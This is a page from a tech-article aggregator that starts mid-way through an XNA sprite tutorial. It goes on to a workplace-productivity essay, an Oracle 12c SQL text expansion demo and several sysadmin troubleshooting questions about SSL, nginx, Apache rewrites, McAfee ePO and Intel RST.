asset Locate the "Load Content" Method and duplicate the following:             protected override void LoadContent()         {             spriteBatch = new SpriteBatch(GraphicsDevice);             // your image name goes here...             sprite = Content.Load<Texture2D>("Sprites\\wizards_hat");             position = new Vector2(200, 100);             base.LoadContent();         } Step D - Draw the image Locate the "Draw" Method and duplicate the following:        protected override void Draw(GameTime gameTime)         {             GraphicsDevice.Clear(Color.CornflowerBlue);             spriteBatch.Begin(SpriteBlendMode.AlphaBlend);             spriteBatch.Draw(sprite, position, Color.White);             spriteBatch.End();             base.Draw(gameTime);         }  Step E - Compile and Run Engage! (F5) - Debug! Your image should now display on a cornflowerblue window about 200 pixels from the left and 100 pixels from the top. Awesome! =) Pretty cool how we only coded a few lines to display an image, but believe me, there is plenty going on behind the scenes. However, for now, I'm going to call it a night here. Blogging all this progress certainly takes time... However, tomorrow night I'm going to detail what we just did, plus start checking off points on that list! I'm wondering right now if I should add pictures / code to this post...let me know if you want them =) Best Regards, D.

  Read the article

• Effectiveness and Efficiency

  - by Daniel Moth

  In the professional environment, i.e. at work, I am always seeking personal growth and to be challenged. The result is that my assignments, my work list, my tasks, my goals, my commitments, my [insert whatever word resonates with you] keep growing (in scope and desired impact). Which in turn means I have to keep finding new ways to deliver more value, while not falling into the trap of working more hours. To do that I continuously evaluate both my effectiveness and my efficiency. EFFECTIVENESS The first thing I check is my effectiveness: Am I doing the right things? Am I focusing too much on unimportant things? Am I spending more time doing stuff that is important to my team/org/division/business/company, or am I spending it on stuff that is important to me and that I enjoy doing? Am I valuing activities that maybe I have outgrown and should be delegated to others who are at a stage I have surpassed (in Microsoft speak: is the work I am doing level appropriate or am I still operating at the previous level)? Notice how the answers to those questions change over time and due to certain events, so I have to remind myself to revisit them frequently. Events that force me to re-examine them are: change of role, change of team/org/etc, change of direction of team/org/etc, re-org, new hires on the team that take on some of the work I did, personal promotion, change of manager... and if none of those events has occurred since the last annual review, I ask myself those at each annual review anyway. If you think you are not being effective at work, make a list of the stuff that you do and start tracking where your time goes. In parallel, have a discussion with your manager about where they think your time should go. Ultimately your time is finite and hence it is your most precious investment, don't waste it. If your management doesn't value as highly what you spend your time on, then either convince your management, or stop spending your time on it, or find different management: Lead, Follow, or get out of the way! That's my view on effectiveness. You have to fix that before moving to being efficient, or you may end up being very efficient at stuff that nobody wants you to be doing in the first place. For example, you may be spending your time writing blog posts and becoming better and faster at it all the time. If your manager thinks that is not even part of your job description, you are wasting your time to satisfy your inner desires. Nobody can help you with your effectiveness other than your management chain and your management peers - they are the judges of it. EFFICIENCY The second thing I check is my efficiency: Am I doing things right? For me, doing things right means that I deliver the same quality of work faster [than what I used to, and than my peers, and than expected of me]. The result is that I can achieve more [than what I used to, and than my peers, and than expected of me]. Notice how the efficiency goal is a more portable one. If, by whatever criteria, you think you are the best at [insert your own skill here], this can change at two events: because you have new colleagues (who are potentially better than your older ones), and it can change with a change of manager (who has potentially higher expectations). That's about it. Once you are efficient at something, you carry that with you... All you need to really be doing here is, when taking on new kinds of work that you haven't done before, try a few approaches and devise a system so that you can become efficient at this new activity too... Just keep "collecting" stuff that you are efficient at. If you think you are not being efficient at something, break it down: What are the steps you take to complete that task? How long do you spend on each step? Talk to others about what steps they take, to see if you can optimize some steps away or trade them for better steps, or just learn how to complete a step faster. Have a system for every task you take so that you can have repeatable success. That's my view on efficiency. You have to fix it so that you can free up time to do more. When you plan a route from A to B - all else being equal - you try to get there as fast as possible so why would you not want to do that with your everyday work? For example, imagine you are inefficient at processing email: You spend more time than necessary dealing with email, and you still end up with dropped email threads and with slower response times than others. How can you improve? Talk to someone that you think is good at this, understand their system (e.g. here is my email processing system) and come up with one that works for you. Parting Thoughts Are you considered, by your colleagues and manager, an effective and efficient person at your workplace? If you are, what would you change if you were asked by your management to do the job of two people? Seriously, think about that! Your immediate reaction may be "that is not possible", but it actually is. You just have to re-assess what things that were previously important will now stop being important, by discussing them with your management and reaching agreement on relative priorities. For example, stuff that was previously on your plate may now have to be delegated or dropped. Where you thought you were efficient, maybe now you have to find an even faster path to completion, perhaps keeping in mind that Perfect is the Enemy of “Good Enough”. My personal experience (from both observing others and from my own reflection) is that when folks are struggling to keep up at work it is because of two reasons: They are investing energy in stuff that they enjoy doing which the business regards as having a lower priority than a lot of other things on their plate. They are completing tasks to a level of higher quality than what is required (due to personal pride) missing the big picture which almost always mandates completing three tasks at good enough quality than knocking only one of them out of the park while the other two come in late or not at all. There is a lot of content on the web, so I strongly encourage you to use your favorite search engine to read other views on effectiveness and efficiency (Bing, Google). Comments about this post by Daniel Moth welcome at the original blog.

  Read the article

• 12c - SQL Text Expansion

  - by noreply(at)blogger.com (Thomas Kyte)

  Here is another small but very useful new feature in Oracle Database 12c - SQL Text Expansion.  It will come in handy in two cases:You are asked to tune what looks like a simple query - maybe a two table join with simple predicates.  But it turns out the two tables are each views of views of views and so on... In other words, you've been asked to 'tune' a 15 page query, not a two liner.You are asked to take a look at a query against tables with VPD (virtual private database) policies.  In order words, you have no idea what you are trying to 'tune'.A new function, EXPAND_SQL_TEXT, in the DBMS_UTILITY package makes seeing what the "real" SQL is quite easy. For example - take the common view ALL_USERS - we can now:ops$tkyte%ORA12CR1> variable x clobops$tkyte%ORA12CR1> begin  2          dbms_utility.expand_sql_text  3          ( input_sql_text => 'select * from all_users',  4            output_sql_text => :x );  5  end;  6  /PL/SQL procedure successfully completed.ops$tkyte%ORA12CR1> print xX--------------------------------------------------------------------------------SELECT "A1"."USERNAME" "USERNAME","A1"."USER_ID" "USER_ID","A1"."CREATED" "CREATED","A1"."COMMON" "COMMON" FROM  (SELECT "A4"."NAME" "USERNAME","A4"."USER#" "USER_ID","A4"."CTIME" "CREATED",DECODE(BITAND("A4"."SPARE1",128),128,'YES','NO') "COMMON" FROM "SYS"."USER$" "A4","SYS"."TS$" "A3","SYS"."TS$" "A2" WHERE "A4"."DATATS#"="A3"."TS#" AND "A4"."TEMPTS#"="A2"."TS#" AND "A4"."TYPE#"=1) "A1"Now it is easy to see what query is really being executed at runtime - regardless of how many views of views you might have.  You can see the expanded text - and that will probably lead you to the conclusion that maybe that 27 table join to 25 tables you don't even care about might better be written as a two table join.Further, if you've ever tried to figure out what a VPD policy might be doing to your SQL, you know it was hard to do at best.  Christian Antognini wrote up a way to sort of see it - but you never get to see the entire SQL statement: http://www.antognini.ch/2010/02/tracing-vpd-predicates/.  But now with this function - it becomes rather trivial to see the expanded SQL - after the VPD has been applied.  We can see this by setting up a small table with a VPD policy ops$tkyte%ORA12CR1> create table my_table  2  (  data        varchar2(30),  3     OWNER       varchar2(30) default USER  4  )  5  /Table created.ops$tkyte%ORA12CR1> create or replace  2  function my_security_function( p_schema in varchar2,  3                                 p_object in varchar2 )  4  return varchar2  5  as  6  begin  7     return 'owner = USER';  8  end;  9  /Function created.ops$tkyte%ORA12CR1> begin  2     dbms_rls.add_policy  3     ( object_schema   => user,  4       object_name     => 'MY_TABLE',  5       policy_name     => 'MY_POLICY',  6       function_schema => user,  7       policy_function => 'My_Security_Function',  8       statement_types => 'select, insert, update, delete' ,  9       update_check    => TRUE ); 10  end; 11  /PL/SQL procedure successfully completed.And then expanding a query against it:ops$tkyte%ORA12CR1> begin  2          dbms_utility.expand_sql_text  3          ( input_sql_text => 'select * from my_table',  4            output_sql_text => :x );  5  end;  6  /PL/SQL procedure successfully completed.ops$tkyte%ORA12CR1> print xX--------------------------------------------------------------------------------SELECT "A1"."DATA" "DATA","A1"."OWNER" "OWNER" FROM  (SELECT "A2"."DATA" "DATA","A2"."OWNER" "OWNER" FROM "OPS$TKYTE"."MY_TABLE" "A2" WHERE "A2"."OWNER"=USER@!) "A1"Not an earth shattering new feature - but extremely useful in certain cases.  I know I'll be using it when someone asks me to look at a query that looks simple but has a twenty page plan associated with it!

  Read the article

• Install McAfee ePO Agent via Group Policy

  - by neildeadman

  We have recently deployed ePO to our infrastructure, but the Agent will not deploy to all systems. We suspect this is a firewall issue as disabing Windows Firewall generally makes it work. We have decided to install the Agent via Group Policy to make sure all systems get the it and then ePO will deploy VirusScan on reboot. Following the manual I have run: Framepkg.exe /gengpomsi /SiteInfo=<sharedpath>\SiteList.xml /FrmInstLogLoc=<localtempDir> \<filename>.log and then created the GPO, but it never installs. Has anyone managed to get this working? Or maybe they can suggest a resolution for the failed installs of Agent deploy from ePO?

  Read the article

• wildcard ssl certificate - exchange 2010 - POP/IMAP problem

  - by Sise

  previously we have requested a wildcard ssl certificate from godaddy for our major domain. one of the reasons was the new established exchange server 2010. usually you require following names included in certificiate: FQDN (e.g. mail.whatever.com) Hostname (mail) Domain name (whatever.com) Autodiscover.whatever.com MX Record with the wildcard certificate these are all covered (except of the local hostname). During creation/importing of the ssl certificate into exchange 2010, exchange first asks, if a wildcard certificate is used and then encounters an error - due to the certificate is a wildcard certificate and not a certificate especially generated for the FQDN, SSL for POP and IMAP can not be provided. couldn't find any workaround or solution for this on google, so I hope, maybe some one here has an answer or solution for me! :) the exchange 2010 is running on a windows server 2008 R2 enterprise. thanks in advance and best regards, sise

  Read the article

• nginx unknown directive ssl_protocols

  - by ghostrifle

  I've compiled NGINX 1.4.1 with ssl support and wanted to secure my configuation with these lines: ssl_prefer_server_ciphers on; ssl_protocols        SSLv3 TLSv1 TLSv1.1 TLSv1.2; ssl_ciphers          AES128-GCM-SHA256:AES256-GCM-SHA384:RC4-SHA:AES128-SHA256:AES256-SHA256; ssl_session_cache       shared:TLSSL:16m; ssl_session_timeout     10m; This is the error I'm getting which I don't understand why it comes up: nginx: [emerg] unknown directive "ssl_protocols        SSLv3" my nginx configuration: nginx version: nginx/1.4.1 built by gcc 4.6.3 (Ubuntu/Linaro 4.6.3-1ubuntu5) TLS SNI support enabled configure arguments: --with-http_dav_module --with-http_gzip_static_module --with- http_stub_status_module --prefix=/opt/nginx --with-http_perl_module --with-http_ssl_module --with-perl=/usr/bin/perl --with-http_geoip_module --with-http_realip_module maybe anyone knows what I'm doing wrong?

  Read the article

• HP network discovery service flooding network with SLP / SRVLOC requests

  - by Chipmunk

  I am having trouble with "HP Network discovery service" which I think is responsible for flooding my network with SLP/SRVLOC requests. This has happened on multiple occasions on different devices where some HP printer software installed. Have I misconfigured something in my network that causes this? Or is the HP service at fault? The destination address (224.0.1.60) and SLP confirm that it is a HP service that is doing this. Also the service url in the packets read: "service:x-hpnp-discover:" further confirms this. Why is this happening? I doubt HP would release faulty software like this? So this leaves me thinking that maybe some settings on the HP Procurves are not set up properly? Comments and suggestions welcome, thank you. Kind regards, Chris

  Read the article

• SSL Certificate error: verify error:num=20:unable to get local issuer certificate

  - by Brian

  I've been trying to get an SSL connection to an LDAPS server (Active Directory) to work, but keep having problems. I tried using this: openssl s_client -connect the.server.edu:3269 With the following result: verify error:num=20:unable to get local issuer certificate I thought, OK, well server's an old production server a few years old. Maybe the CA isn't present. I then pulled the certificate from the output into a pem file and tried: openssl s_client -CAfile mycert.pem -connect the.server.edu:3269 And that didn't work either. What am I missing? Shouldn't that ALWAYS work?

  Read the article

• Rewrite rules doesn’t work apache 1.3

  - by Sander Versluys

  I'm using a couple of rewrite directives that always works before on apache2 but now i'm trying new a shared hosting and the rewrite rules do not seem to get applied. I've reduced the .htaccess files to the following essential rules: RewriteEngine On Rewritebase /demo/ RewriteRule ^(.*)$ index.php/$1 [L] As you can see, i want to rewrite every request to my index.php file in the demo folder from root. So everything like http://www.example.com/demo/albums/show/1 should be processed by http://www.example.com/demo/index.php for a standard MVC setup. (I'm using CodeIgniter btw) The directives above results in a 500 error, so i thought maybe because of some possible syntax differences between 1.3 and 2.x. After some trail and error editing, i've found the rewrite rule itself to be at fault but i really don't understand why. Any ideas to why my rewrite rule doesn't work? it did before on lots of different servers. Suggestions how to fix it? Note: mod_rewrite does work, i've written a small test to be sure

  Read the article

• Intel RST crashing! IAStorUI unstable in win 8.1

  - by user269549

  I have a Z87E-ITX Asrock mobo. Using a new 64G Corsair SSD as cache and a new Western Digi Black Scorpion 750G 2.5" drive. Using windows 8.1. Latest software or not, I can't open Intel RST software without it saying IAStorUI has stopped working. A problem caused the program to stop working correctly blah blah. I have had some issues recently with Robotic sounds causing fps drops etc but found it was the HDD. After a standard windows scan and fix (& update to win 8.1) I haven't been able to open Intel RST. I thought maybe I should try to look for an SSD cache drive checker but as it doesn't show up as a drive, I'm unsure how any program can scan it.

  Read the article

< Previous Page | 148 149 150 151 152 153 154 155 156 157 158 159  | Next Page >